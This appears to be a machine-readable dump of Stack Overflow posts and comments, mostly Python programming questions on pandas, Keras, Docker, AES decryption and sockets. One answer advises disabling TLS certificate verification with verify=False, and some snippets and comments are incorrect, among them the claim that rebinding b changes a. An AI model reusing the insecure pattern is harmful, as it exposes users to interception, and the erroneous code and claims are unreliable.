has body: It seems like the scikitlearn's f1_score avg micro/macro (http://scikit-learn.org/stable/modules/generated/sklearn.metrics.f1_score.html) is based on multi-label data classifier, but I was wondering if the same could be used for multi-label clustering? The data I'm working with is clustered using scikit's kmeans on 50.000 timeseries(ts). So I end out with clusters in the form: c1{ts_1, ts_2 ...}, c2{ts_20, ts_21 ...} etc. Each time series can have one too many labels, which I would like to use as a golden standard for the f1 avg micro and macro scores. A cluster's time series can then be substituted by its labels(L): c1{(L_1, L_2), (L_2), (L_2), (L_3, L_4, L_5)...} Can the f1 avg micro and macro scores be applied to clustering of such a dataset, or is there other scores i should be looking at instead?
type: Question
tagged with: cluster-analysis
has title: Can scikit's f1_score's avg macro/micro be used for multi-labeled clustering?
answer count: 1

http://stackoverflow.com/a/47291277
score: 1
downvote count: 0
upvote count: 1
has body: You could use regex and modulo to split the strings into groups of three. This solution should get you started: import re s = [100243, 1234567890] final_s = ['./'+'/'.join(re.findall('.{2}.', str(i))) if len(str(i))%3 == 0 else str(i)[:len(str(i))%3]+'/'+'/'.join(re.findall('.{2}.', str(i)[len(str(i))%3:])) for i in s] Output: ['./100/243', '1/234/567/890']
answers question: http://stackoverflow.com/q/47290962
has comment: http://stackoverflow.com/comment/81533300
type: Answer

http://stackoverflow.com/comment/81443601
score: 0
comment on: http://stackoverflow.com/q/47244093
has text: For details of the SSL handshake (i.e. what happens inside `wrap_socket`) see [How does SSL/TLS work?](https://security.stackexchange.com/questions/20803/how-does-ssl-tls-work) at security.se.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47365398
downvote count: 1
favorite count: 0
type: Question
tagged with: while-loop
has answer: http://stackoverflow.com/a/47366028
accepted answer: http://stackoverflow.com/a/47366028
tagged with: python
score: -1
tagged with: dictionary
has body: I want to make a program where the lines of a .txt file get a random order. This is my code thus far: diction = {} def selecteer_random_elftal(): lijnen = open("bronmateriaal\\Spelers.txt").readlines() key = 0 while lijnen != "": diction[key] = lijnen key =+ 1 print("{0}: {1}".format(diction[key],diction[lijnen])) selecteer_random_elftal() When I do this, I get no outcome but I don't understand why? Thanks for the help in advance, much appreciated!
type: AnsweredQuestion
has title: Putting the lines of a txt file in random order.
answer count: 2
has comment: http://stackoverflow.com/comment/81683620
has answer: http://stackoverflow.com/a/47365429
possible better answer: http://stackoverflow.com/a/47365429
upvote count: 0

http://stackoverflow.com/comment/81525416
type: QuestionComment
has text: Can you explain how you chose the indexes for each of your conditionals? Why does `if dog_input[2] == "19":` use the index `2`, but `if dog_input[1] == "20":` uses the index `1`?
comment on: http://stackoverflow.com/q/47287630
type: Comment
score: 1

http://stackoverflow.com/q/47310751
accepted answer: http://stackoverflow.com/a/47311124
has body: I'm setting up my website on a EC2 Amazon-Linux instance and it uses some Python. After a lot of tuning I had big troubles setting up Python. Especially the following code throws an error: &gt;&gt;&gt; import MySQLdb Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "MySQLdb/__init__.py", line 19, in &lt;module&gt; import _mysql ImportError: libmysqlclient.so.1020: cannot open shared object file: No such file or directory My instances setup is the following: Python 2.7.12 MySql 5.7.18 Installing MySQL via pip went fine sudo pip install MySQL-python Successfully installed MySQL-python-1.2.5 Sébastien
tagged with: amazon-ec2
tagged with: python
type: AnsweredQuestion
score: 0
answer count: 1
tagged with: mysql
has title: Python : MySQLdb
type: Question
has answer: http://stackoverflow.com/a/47311124

http://stackoverflow.com/q/47294735
tagged with: keras
has comment: http://stackoverflow.com/comment/81540855
tagged with: tensorflow
favorite count: 0
has comment: http://stackoverflow.com/comment/81542878
has comment: http://stackoverflow.com/comment/81543690
type: Question
has body: I have Sequential model defined. Here are the input=model.input and output=model.output of the model: (Pdb) input &lt;tf.Tensor 'input_img_1:0' shape=(?, 28, 28, 1) dtype=float32&gt; (Pdb) output &lt;tf.Tensor 'model_1/activation_7/Softmax:0' shape=(?, 10) dtype=float32&gt; After that I extract the logits as follows: logits, = output.op.inputs, then here is the logits: (Pdb) logits &lt;tf.Tensor 'model_1/dense_3/BiasAdd:0' shape=(?, 10) dtype=float32&gt; Why does this work? (Pdb) Model(input, output) &lt;keras.engine.training.Model object at 0x7f6917272198&gt; But this does not? (Pdb) Model(input, logits) *** TypeError: Output tensors to a Model must be Keras tensors. Found: Tensor("model_1/dense_3/BiasAdd:0", shape=(?, 10), dtype=float32) Given that both logits and output are a tf.Tensor. I also tried to wrap logits around a Lambda layer, like so logits = Lambda((lambda x: x))(logits). Now the error of Model(input, logits) is *** AttributeError: 'Tensor' object has no attribute '_keras_history'
tagged with: python-3.x
has title: Construct new keras model with logits as output
upvote count: 2
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81543217
score: 2
has comment: http://stackoverflow.com/comment/81542836
tagged with: keras-layer
has comment: http://stackoverflow.com/comment/81544240
answer count: 0
has comment: http://stackoverflow.com/comment/81545569
downvote count: 0

http://stackoverflow.com/a/64173608
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/47319836
type: Answer
has body: Unless django-polymorphic decides to inherit from abc.ABC this is going to be very difficult to achieve. A good solution would be to "manually" create your interface. For instance: class InterfaceToTransactions: def account(self): raise NotImplementedError("Account method must be implemented.") ... class Category(PolymorphicModel, InterfaceToTransactions): def account(self): return self.source_account ... class Income(TimeStampedModel, InterfaceToTransactions): def account(self): return self.destination_account ...

http://stackoverflow.com/comment/81435120
has text: This is way too much code. Please condense it down to a [mcve]
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47240847
score: 0

http://stackoverflow.com/comment/81681342
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47364227
score: 0
has text: The error im getting is: if len(words[x]) >= 5: TypeError: list indices must be integers or slices, not str

http://stackoverflow.com/a/47354267
type: Answer
has body: You can modify your function like this: def applyFunc(x, col): for i in range(0, len(source)): if x == source.at[i, 'x']: return source.at[i, col] else: return 1 And then simply: df['y'] = df['x'].apply(applyFunc, col='y') df['z'] = df['x'].apply(applyFunc, col='z') Of course you can loop across 'y' and 'z' like so: for col in ['y', 'z']: df[col] = df['x'].apply(applyFunc, col=col) Or, if you really want it in one line: df['y'], df['z'] = df['x'].apply(applyFunc, col='y'), df['x'].apply(applyFunc, col='z')
answers question: http://stackoverflow.com/q/47352520
upvote count: 1
score: 1
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81660962
accepted answer of: http://stackoverflow.com/q/47352520

http://stackoverflow.com/a/47253732
has comment: http://stackoverflow.com/comment/81544374
score: 8
upvote count: 8
has comment: http://stackoverflow.com/comment/97070420
has comment: http://stackoverflow.com/comment/81545614
answers question: http://stackoverflow.com/q/47245583
type: Answer
has body: In general, there is no difference between inplace=True and returning an explicit copy - in both cases, a copy is created. It just so happens that, in the first case, the data in the copy is copied back into the original df object, so reassignment is not necessary. Furthermore, note that as of v0.21, df.sort is deprecated, use sort_values instead.
accepted answer of: http://stackoverflow.com/q/47245583
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81548068

http://stackoverflow.com/q/47276369
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/47276454
has comment: http://stackoverflow.com/comment/81504046
type: Question
tagged with: raspbian
tagged with: python-3.x
has title: Run a .sh file with Python 3 Idle
accepted answer: http://stackoverflow.com/a/47276454
has body: I am trying run a sh file with python 3. My .sh file will work on Terminal. My operating system is Raspbian. I try that code : import time import os import subprocess # STEP 1 text='sudo somecode' savefile=open('step1.sh','w') savefile.write(text) savefile.close() time.sleep(2) shellscript=subprocess.Popen(['./step1.sh'], stdin=subprocess.PIPE) but it not works...
tagged with: python
has comment: http://stackoverflow.com/comment/81504071
type: AnsweredQuestion

http://stackoverflow.com/q/47332934
has title: Concatenating Series using the addition (+) operator?
tagged with: series
has comment: http://stackoverflow.com/comment/81617074
possible better answer: http://stackoverflow.com/a/47333013
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47333013
tagged with: pandas
score: 1
accepted answer: http://stackoverflow.com/a/47333062
tagged with: python
has answer: http://stackoverflow.com/a/47333062
favorite count: 0
type: Question
has body: So this is more of a question than a problem i have. I wanted to .append() some pandas series' together and without thinking i just did total=series1+series2+series3. The length of each series is 2199902,171175, and 178989 respectively and sum(pd.isnull(i) for i in total) = 2214596 P.S all 3 series' had no null values to start with, is it something to do with merging 3 series' of different lengths which creates missing values? Even if that is the case why aer 2,214,596 null values created?
answer count: 2
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/47236190
has comment: http://stackoverflow.com/comment/81423634
has comment: http://stackoverflow.com/comment/81447106
has comment: http://stackoverflow.com/comment/81443024
has body: Assuming you have columns ['A','B','C','D','E'] and 4 rows such that dataframe df looks like: Row A B C D`E 1 1`1 1 1 5 2 0 2 0 0 3 2 4 1 2 2 4 5 4 5 4 Now if you want to remove the extra column 'E' values from rows 1 and 3 then you can simply make another list features=df.columns f=[] for feature in features: if df[feature].notnull().all(): f.append(feature) df=df[f] print df Therefore output will now be: Row A B C D` 1 1`1 1 1 2 0 2 0 0 3 2 4 1 2 4 5 4 5 4 Hope this helps!
answers question: http://stackoverflow.com/q/47235991
type: Answer
score: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47280265
has title: Get binary mask in python
downvote count: 1
upvote count: 4
has answer: http://stackoverflow.com/a/47280324
favorite count: 0
type: Question
has body: What is the easiest/fastest way to get a int in python which can be represented by all ones in binary. This is for generating N bit masks. E.g: If total number of bits is 4, then binary '1111' or int 15 If total number of bits is 8 then, binary '1111 1111' or 255 I was under the impression ~0 is for that purpose, looks like that is not the case or I am missing something.
tagged with: bit-manipulation
answer count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/47280324
type: AnsweredQuestion
score: 3

http://stackoverflow.com/comment/81640957
score: 0
type: Comment
has text: Are you sure that there are identical `PROPERTY_CODE` and `ACCOUNT_CODE` values in both data frames?
type: QuestionComment
comment on: http://stackoverflow.com/q/47343418

http://stackoverflow.com/comment/81751026
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/47355408
type: Comment
has text: I have updated my code to use opacity property to hide widgets.

http://stackoverflow.com/a/58954308
answers question: http://stackoverflow.com/q/47335519
score: 0
has body: I was able to resolve this by upgrading Cython from 0.25.2 to 0.29 as suggested here.
type: Answer

http://stackoverflow.com/a/47284067
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47283946
answers question: http://stackoverflow.com/q/47283946
has comment: http://stackoverflow.com/comment/81526256
type: Answer
has body: I think you need merge with left join: df = pd.merge(df1, df2, how='left') Or if possible more common columns names in both DataFrames: df = pd.merge(df1, df2, how='left', on='id') print (df) id payment res_number type group unique_num 0 a 20000 1 toys 1 1231 1 a 30000 2 clothing 1 1231 2 a 40000 3 food 1 1231 3 b 40000 4 food 2 1234 4 c 30000 5 laptop 1 1241

http://stackoverflow.com/q/47315515
score: 0
has title: compute an approximation of pi using cuda in python
has answer: http://stackoverflow.com/a/47315583
type: Question
answer count: 2
has body: I would like to use this simple formula to compute an approximation of pi : pi approx formula Here is my code : def pi(iteration): pi = 0.0 sign = 1 b = 1.0 for i in range(iteration): pi += 4.0*sign/b b += 2 sign *= -1 print pi pi(100000) How to make this code be computed by the GPU?
tagged with: python
type: UnansweredQuestion
tagged with: pi
has answer: http://stackoverflow.com/a/47315606
tagged with: gpu

http://stackoverflow.com/comment/81595850
comment on: http://stackoverflow.com/q/47322389
type: QuestionComment
has text: The threads will still be kicked off from the single process running the program (even if it is on a different core), so odds are you'll have delays. What about assuming the threads will have a delayed start, but giving the thread an offset at which time to start playing the specific instrument? Ie, thread 2 will start later than thread 1, so have thread 1 wait a specific time (after kickoff) to start playing.
score: 0
type: Comment

http://stackoverflow.com/a/47275503
score: 3
type: Answer
upvote count: 3
has comment: http://stackoverflow.com/comment/99883752
has body: You may need to add the link and depends_on sections to your docker compose file, and then reference the containers by their hostname. Updated docker-compose.yml: version: '2.1' services: db: image: postgres memcached: image: memcached redis: image: redis ports: - '6379:6379' backend-base: build: context: . dockerfile: backend/Dockerfile-base image: "/backend:base" backend: build: context: . dockerfile: backend/Dockerfile image: "/backend:${ENV:-local}" command: ./wait-for-it.sh db:5432 -- gunicorn backend.wsgi:application -b 0.0.0.0:8000 -k gevent -w 3 ports: - 8000 links: - db - redis - memcached depends_on: - db - redis - memcached celery: image: "/backend:${ENV:-local}" command: ./wait-for-it.sh db:5432 -- celery worker -E -B --loglevel=INFO --concurrency=1 environment: C_FORCE_ROOT: "yes" links: - db - redis - memcached depends_on: - db - redis - memcached frontend-base: build: context: . dockerfile: frontend/Dockerfile-base args: NPM_REGISTRY: http://.view.build PACKAGE_INSTALLER: yarn image: "/frontend:base" links: - db - redis - memcached depends_on: - db - redis - memcached frontend: build: context: . dockerfile: frontend/Dockerfile image: "/frontend:${ENV:-local}" command: 'bash -c ''gulp''' working_dir: /app/user environment: PORT: 3000 links: - db - redis - memcached depends_on: - db - redis - memcached Then configure the urls to redis, postgres, memcached, etc. with: redis://redis:6379/0 postgres://user:pass@db:5432/database
answers question: http://stackoverflow.com/q/47272072
downvote count: 0

http://stackoverflow.com/comment/81475849
type: Comment
type: QuestionComment
has text: Are you using `django-tenants`?
comment on: http://stackoverflow.com/q/47248596
score: 0

http://stackoverflow.com/q/47237407
has answer: http://stackoverflow.com/a/47237534
tagged with: python
accepted answer: http://stackoverflow.com/a/47237546
tagged with: scipy
favorite count: 0
has answer: http://stackoverflow.com/a/47237546
type: Question
answer count: 2
downvote count: 0
upvote count: 1
has title: Anaconda cannot import scipy
type: AnsweredQuestion
tagged with: python-2.7
possible better answer: http://stackoverflow.com/a/47237534
score: 1
has body: Importing scipy in iPython gave me: In [1]: import scipy ----------------------------------------------------------------------- ImportError Traceback (most recent call last) &lt;ipython-input-1-4dc45f4c0083&gt; in &lt;module&gt;() ----&gt; 1 import scipy /usr/local/lib/python2.7/site-packages/scipy/__init__.py in &lt;module&gt;() /usr/local/lib/python2.7/site-packages/scipy/_lib/_ccallback.py in &lt;module&gt;() ImportError: cannot import name _ccallback_c In [2]: Did a complete update of all the files of Anaconda &gt; conda update --all and the error remains. Did a complete search on the web and there are similar problems but without solutions. Can you help me?

http://stackoverflow.com/comment/81504044
type: Comment
type: QuestionComment
has text: Possible duplicate of [how to import csv data into django models](https://stackoverflow.com/questions/2459979/how-to-import-csv-data-into-django-models)
score: 0
comment on: http://stackoverflow.com/q/47276227

http://stackoverflow.com/q/47290667
has answer: http://stackoverflow.com/a/47299525
downvote count: 0
upvote count: 1
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7
has body: I am not an expert in AES and moreover I have to deliver the deciphering function to a very limited Python 2 environment. I have a 32-byte key and a 16-byte initialisation vector along with a 64-byte test cipher message - all of type str. AES operates in a cipher-block chaining mode. With pycrypto it all works and I get a 64-symbol decrypted message of type unicode. from Crypto.Cipher import AES cipher = AES.new(key, AES.MODE_CBC, vector) decryption = cipher.decrypt(message).decode() print(decryption) Unfortunately the pycrypto itself is not supported in the final environment as I believe it has some fancy compiled dependencies for AES. There is a purely Python alternative called pyaes: import pyaes cipher = pyaes.AESModeOfOperationCBC(key, vector) decryption = cipher.decrypt(message[0:16]).decode() print(decryption) Notice that I sliced the first 16 bytes and got the first 16 symbols of the decrypted message (of type unicode) correctly. However, once I try the full message I get ValueError: ciphertext block must be 16 bytes. Even if I slice message[16:32], I get UnicodeDecodeError: 'ascii' codec can't decode byte 0xb8 in position 0: ordinal not in range(128). So how to use the pyaes and decrypt longer ciphertexts in my case? The secret plaintext looks like this {"valueInt":123, "valueFloat":1.23, "valueString":"123"} with trailing (padded) spaces.
score: 1
has comment: http://stackoverflow.com/comment/81559729
answer count: 1
tagged with: pycrypto
tagged with: unicode
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47299525
has title: Simple Python AES decryption for longer ciphertexts

http://stackoverflow.com/q/47326955
upvote count: 1
score: 1
has answer: http://stackoverflow.com/a/47358895
accepted answer: http://stackoverflow.com/a/47358895
answer count: 1
has comment: http://stackoverflow.com/comment/81604922
favorite count: 0
has comment: http://stackoverflow.com/comment/81604625
type: Question
has comment: http://stackoverflow.com/comment/81607386
has comment: http://stackoverflow.com/comment/81611298
tagged with: python
has body: A python UDP client: root@kali-linux:~# python Python 2.7.14 (default, Sep 17 2017, 18:50:44) [GCC 7.2.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import socket &gt;&gt;&gt; target_host = "127.0.0.1" &gt;&gt;&gt; target_port = 80 &gt;&gt;&gt; client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) &gt;&gt;&gt; client.sendto("AAABBBCCC",(target_host,target_port)) 9 &gt;&gt;&gt; data, addr = client.recvfrom(4096) # to this line,no response &gt;&gt;&gt;print data # waiting for imput when I input "data, addr = client.recvfrom(4096)" then ENTER,I wait for ten minutes that no response. But when I program a TCP client,it work.This is code: root@kali-linux:~# python Python 2.7.14 (default, Sep 17 2017, 18:55:37) [GCC 7.2.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt;import socket &gt;&gt;&gt;target_host = "www.baidu.com" &gt;&gt;&gt;target_port = 80 &gt;&gt;&gt;client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) &gt;&gt;&gt;client.connect((target_host,target_port)) &gt;&gt;&gt;client.send("GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n") 35 &gt;&gt;&gt;response = client.recv(4096) &gt;&gt;&gt;print response #output HTTP/1.1 200 OK Date: Thu, 16 Nov 2017 12:05:07 GMT Content-Type: text/html Content-Length: 14613 Last-Modified: Wed, 01 Nov 2017 03:00:00 GMT Connection: Keep-Alive Vary: Accept-Encoding AND SO ON .......... TCP client can work and UDP client can't work,why? what should I do?
has comment: http://stackoverflow.com/comment/81608666
has title: Python UDP client did not respond
tagged with: udpclient
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81609632
has comment: http://stackoverflow.com/comment/81610762
tagged with: python-2.7
downvote count: 0

http://stackoverflow.com/comment/81685265
type: Comment
type: AnswerComment
has text: works great but i would like for the print statement to print everything after the user has entered the item instead of printing one one and finally printing everything.
comment on: http://stackoverflow.com/a/47366037
score: 0

http://stackoverflow.com/a/47245320
upvote count: 0
has comment: http://stackoverflow.com/comment/81452781
downvote count: 1
has comment: http://stackoverflow.com/comment/81443328
has comment: http://stackoverflow.com/comment/81452670
has body: The website is using TLS 1.0 (an obsolete protocol), RSA (an obsolete key exchange), and AES_128_CBC with HMAC-SHA1 (an obsolete cipher). If you want to continue to use it, I would recommend using the popular requests package. It allows you to turn off server verification when sending a request. import requests url = ('https://flightplanning.navcanada.ca/cgi-bin/lab/lab.cgi?Langue=anglais' '&amp;NoSession=NS_Inconnu&amp;TypeBrief=L&amp;Version=T&amp;AerodromeId=CYOW&amp;cw_metar=' 'dcd_metar&amp;fw_gfaCld=on&amp;fw_gfaIcg=on&amp;rwt_uprWindsFD180=on') res = request.get(url, verify=False) # you will get the following warning InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io /en/latest/advanced-usage.html#ssl-warnings InsecureRequestWarning) res # returns: &lt;Response [200]&gt;
type: Answer
score: -1
has comment: http://stackoverflow.com/comment/81452605
answers question: http://stackoverflow.com/q/47244944

http://stackoverflow.com/q/47275813
has body: Does any one know how to convert this array into a python list, my ultimate result should be [[1,2,3],[4,6,8]] . Any suggestion would be greatly appreciated. import numpy as np from numpy import* a = [array([ 1, 2, 3], dtype=int16), array([4, 6, 8], dtype=int16)]
has comment: http://stackoverflow.com/comment/81502829
tagged with: python
has title: python remove dtype and the end of an array and get list of lists
score: 2
has answer: http://stackoverflow.com/a/47275858
answer count: 2
linked to: http://stackoverflow.com/q/1966207
accepted answer: http://stackoverflow.com/a/47275844
upvote count: 3
has comment: http://stackoverflow.com/comment/81502907
has answer: http://stackoverflow.com/a/47275844
downvote count: 1
possible better answer: http://stackoverflow.com/a/47275858
favorite count: 0
type: Question
type: AnsweredQuestion

http://stackoverflow.com/comment/81434995
comment on: http://stackoverflow.com/a/47241904
type: AnswerComment
score: 0
type: Comment
has text: i learned a lot from your answer - thanks for that! - unfortunately "\u20ac|\\u20ac\s+(\d*.*)" - or variations, arent working. Maybe it has something to do with the withespaces before the € symbol? (\r\n\t\t \u20ac...)

http://stackoverflow.com/comment/81455890
has text: this firm was just an example, as the one with € 30.000,00 - so a hint for scraping the € amount of this firm is appreciated as for every other firm of firmenabc.at. regards
type: QuestionComment
comment on: http://stackoverflow.com/q/47241751
score: 0
type: Comment

http://stackoverflow.com/comment/81532835
type: AnswerComment
has text: @melonb could you post the cases with greater level change? It can be worked into this solution.
comment on: http://stackoverflow.com/a/47290901
type: Comment
score: 0

http://stackoverflow.com/comment/81537103
has text: @TIC-FLY glad to help!
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47292903
type: Comment

http://stackoverflow.com/comment/105170374
type: Comment
comment on: http://stackoverflow.com/a/47308443
type: AnswerComment
score: 1
has text: @jezrael This is the first time I've touched on groupby using the keyword parameters "level and axis" at the same time. I've typed the code for a preliminary understanding. Thank you for your answer. It's worth learning.

http://stackoverflow.com/comment/81462906
type: Comment
has text: I'm partial to running the script as a service, as then you can easily log errors.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47255981

http://stackoverflow.com/q/47294631
has title: Running Google Cloud SQL Proxy on background for python
favorite count: 0
type: Question
has body: I'm running Google Cloud SQL Proxy on a Raspberry with Ubuntu mate, but currently, I have to open one terminal to start the proxy and another to run my python SQL script. I need to automate this process. To start the proxy I run: cd my_proxy_dir sudo ./cloud_sql_proxy -dir=./ -instance_name -credential_file=./key_file.json The last line of the output is Ready for connections █ (the square is blinking, the terminal is blocked, the proxy owns the terminal) In a second terminal I run my python script which includes a MySQL connection to the cloud instance, and the output of the first terminal reports the new connection, at the end of my python script the connection is also notified: (timestamp) Ready for connections ... (timestamp) New connection ... (timestamp) Connection finished for ... █ (the square is blinking, the terminal is blocked, the proxy owns the terminal) Now, since I'm working with python, I created a thread because I was unable to run the proxy starting command without blocking. This is my run method: my_thread... def run(self) subprocess.call(['sudo', './proxy/cloud_sql_proxy', '-dir=./proxy/', '-instances=instance_name','-credential_file=./proxy/key_file.json', '&amp;']) print('pass') It never print "pass" until I terminate the thread with thread.terminate() Then what I do my_proxy_thread = Thread_proxy() my_proxy_thread.start() time.sleep(10) #because I don't know when the proxy socket has bee created so I only wait # Once created the socket do_my_mysql_stuff() my_proxy_thread.terminate() # kill the thread and also the proxy socket in the bad way And it works, my proxy socket is created, my_sql works ok but I have no control of the proxy output, I don't know what is happening, if it failed or is closed, working... I cannot send the instruction to close the socket. And I get a mess in my terminal where I do logging because of the subprocess command output What do I need? It would be great if I could get the stdout of the sub-process, so I could realiz…
score: 1
tagged with: python
has answer: http://stackoverflow.com/a/47400230
tagged with: subprocess
downvote count: 0
upvote count: 1
type: UnansweredQuestion
answer count: 1
tagged with: google-cloud-sql

http://stackoverflow.com/q/47304683
type: Question
has body: Am trying to make GUI app which compulsory you have to select one of predict button before the number entered will be printed to the terminal,if none of predictbutton is selected the should print outselect predict button to proceed. In pseudecode something like: def check: now = new.get() if no lotto_button is selected: print("select predict button to proceed") else: print(now) But having challenges: 1:when i select one predict button both buttons raised. 2:How to make the predict compulsory to be selected before the content in the entry will be printed. import tkinter as tk def terminal(): now = new.get() print(now) def start_func(): lotto_button.configure(relief=tk.SUNKEN, state=tk.DISABLED) lotto_button1.configure(relief=tk.SUNKEN, state=tk.DISABLED) def stop_func(): lotto_button.configure(relief=tk.RAISED, state=tk.ACTIVE) lotto_button1.configure(relief=tk.RAISED, state=tk.ACTIVE) root = tk.Tk() root.geometry("400x400") new = tk.StringVar() en = tk.Entry(root, textvariable=new).pack() lotto_button = tk.Button(root, text="predict one", command=start_func) lotto_button.pack(side="left") lotto_button1 = tk.Button(root, text="predict two", command=start_func) lotto_button1.pack() tk.Button(root, text="print number", command=lambda :[stop_func(), terminal()]).place(x=150, y=300) root.mainloop() Thank you and your advice to do is welcome.
has title: How to make tkinter button raised before executing command
has answer: http://stackoverflow.com/a/47305247
tagged with: python
has comment: http://stackoverflow.com/comment/81562218
type: AnsweredQuestion
score: 0
tagged with: tkinter
possible better answer: http://stackoverflow.com/a/47305247
answer count: 3
accepted answer: http://stackoverflow.com/a/47306109
tagged with: button
has answer: http://stackoverflow.com/a/47306109
has answer: http://stackoverflow.com/a/47307123

http://stackoverflow.com/q/47255517
has answer: http://stackoverflow.com/a/50821650
has answer: http://stackoverflow.com/a/65952578
has answer: http://stackoverflow.com/a/49910818
tagged with: macos
score: 28
favorite count: 0
type: Question
tagged with: python-3.x
has title: brew install python3 didn't install pip3
has body: I installed python3 using homebrew but it didn't install pip3 or should I say it installed but it doesn't recognize the command ? Here is what I did: brew install python3 This installed python3 but threw an error at the end saying it couldn't link python3 and prompted me to run brew link python3 to link the installation but this throws another error: Linking /usr/local/Cellar/python3/3.6.3... Error: Permission denied @ dir_s_mkdir - /usr/local/lib Does anyone know how solve this ? When I run: brew info python3 It says: ==&gt; Caveats Pip, setuptools, and wheel have been installed. To update them pip3 install --upgrade pip setuptools wheel You can install Python packages with pip3 install &lt;package&gt; They will install into the site-package directory /usr/local/lib/python3.6/site-packages See: https://docs.brew.sh/Homebrew-and-Python.html Which makes me think pip3 is installed but not recognized. Any help is appreciated. INFO: OS => MacOS High Sierra 10.13.1 pip3 install twilio -bash: pip3: command not found
has answer: http://stackoverflow.com/a/47256280
tagged with: homebrew
possible better answer: http://stackoverflow.com/a/50821650
tagged with: pip
tagged with: python
answer count: 6
upvote count: 28
has answer: http://stackoverflow.com/a/75851300
has comment: http://stackoverflow.com/comment/81461783
has comment: http://stackoverflow.com/comment/81461796
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48254185
accepted answer: http://stackoverflow.com/a/47256280
downvote count: 0

http://stackoverflow.com/a/47274239
has body: Some solutions: Go through all the files, change the columns names, then save the result in a new folder. Now when you read a file, you can go to the new folder and read it from there. Wrap the normal file read function in another function that automatically changes the column names, and call that new function when you read a file. Wrap column selection in a function. Use a try/except block to have the function try to access the given column, and if it fails, use the other form.
answers question: http://stackoverflow.com/q/47274094
type: Answer
score: 0

http://stackoverflow.com/a/47308683
has body: index trigg quadratic complexity, where a quasi linear Numpy solution exists : def numpy_loop_in_order(ordered_pts,start): prev_pt=np.roll(ordered_pts,1) # roll indices prev_pt[np.argsort(ordered_pts)[np.where(start)]] =-1 # see below return prev_pt #[-1, 0, 1, 6, 2, -1, 7, 4, 5, 8, 9, 10] I added a element to start an replace None by -1 because Numpy arrays must be homogeneous. np.argsort find the index of all values in O( n ln(n) ) , np.where determines which values will be set. Furthermore Numba only accelerate code on np.arrays, not lists. And generally useful only if Numpy tools can't solve the problem. but you can slightly improve your code here since ordered_points as the same elements as range(len(ordered_points)): @jit(nogil=True, nopython=True) def loop_in_order(ordered_pts, start): reverse_index = np.empty_like(ordered_pts) prev_pt = np.empty_like(ordered_pts) prev = -1 for i,pt in enumerate(ordered_pts): reverse_index[pt] = i prev_pt[i] = prev prev = pt for pt,i in enumerate(reverse_index): if start[pt]: prev_pt[i] = -1 return prev_pt Tests with 1000 points: op=np.arange(1000) np.random.shuffle(op) ordered_pts=list(op) start=np.random.randint(0,2,1000,dtype=bool) In [614]: %timeit loop_in_order(ordered_pts,start) 9.52 ms ± 279 µs per loop (mean ± std. dev. of 7 runs, 100 loops each) In [615]: %timeit numpy_loop_in_order(op,start) 43.6 µs ± 2.2 µs per loop (mean ± std. dev. of 7 runs, 10000 loops each) In [616]: %timeit numba_loop_in_order(op,start) 4.73 µs ± 179 ns per loop (mean ± std. dev. of 7 runs, 100000 loops each) The main improvement is due to the abandonment of index.
answers question: http://stackoverflow.com/q/47303487
downvote count: 0
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/comment/81582389
comment on: http://stackoverflow.com/a/47315023
has text: For one, numpy scales well so we do not have to assume it is a small amount of data. It also greatly simplifies the syntax for slicing arrays and doing myriad other operations on arrays. I would advise learning numpy early and using it often. The syntax is more natural, and it is almost always faster and more efficient for operations on arrays than using native Python lists.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/81531116
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47289951
has text: @DanielRoseman - thanks for the answer. Is there other way to do such thing?
score: 0

http://stackoverflow.com/comment/81462429
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47255584
score: 0
has text: Can you post the full code?

http://stackoverflow.com/comment/81587776
score: 0
has text: @juanpa.arrivillaga Well... python does have pointers, of a sort. if you do `a=4;b=a;b=5;print a`, it'll return 5.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47318136

http://stackoverflow.com/comment/81579753
score: 0
type: Comment
has text: I totally forgot ```least_squares```, which is obviously better than the more general methods in ```minimize```!
type: AnswerComment
comment on: http://stackoverflow.com/a/47314490

http://stackoverflow.com/comment/81714953
comment on: http://stackoverflow.com/q/47381285
type: Comment
type: QuestionComment
has text: why not using `replace("/","")` ?
score: 0

http://stackoverflow.com/comment/81477506
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47263368
type: QuestionComment
has text: Excellent, thank you again Jezrael! :)

http://stackoverflow.com/comment/81426201
has text: any ideas? @Zephro
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47237388
score: 0

http://stackoverflow.com/q/47250398
tagged with: django
has answer: http://stackoverflow.com/a/47250478
favorite count: 0
type: Question
has title: Django Multiple Auth Models
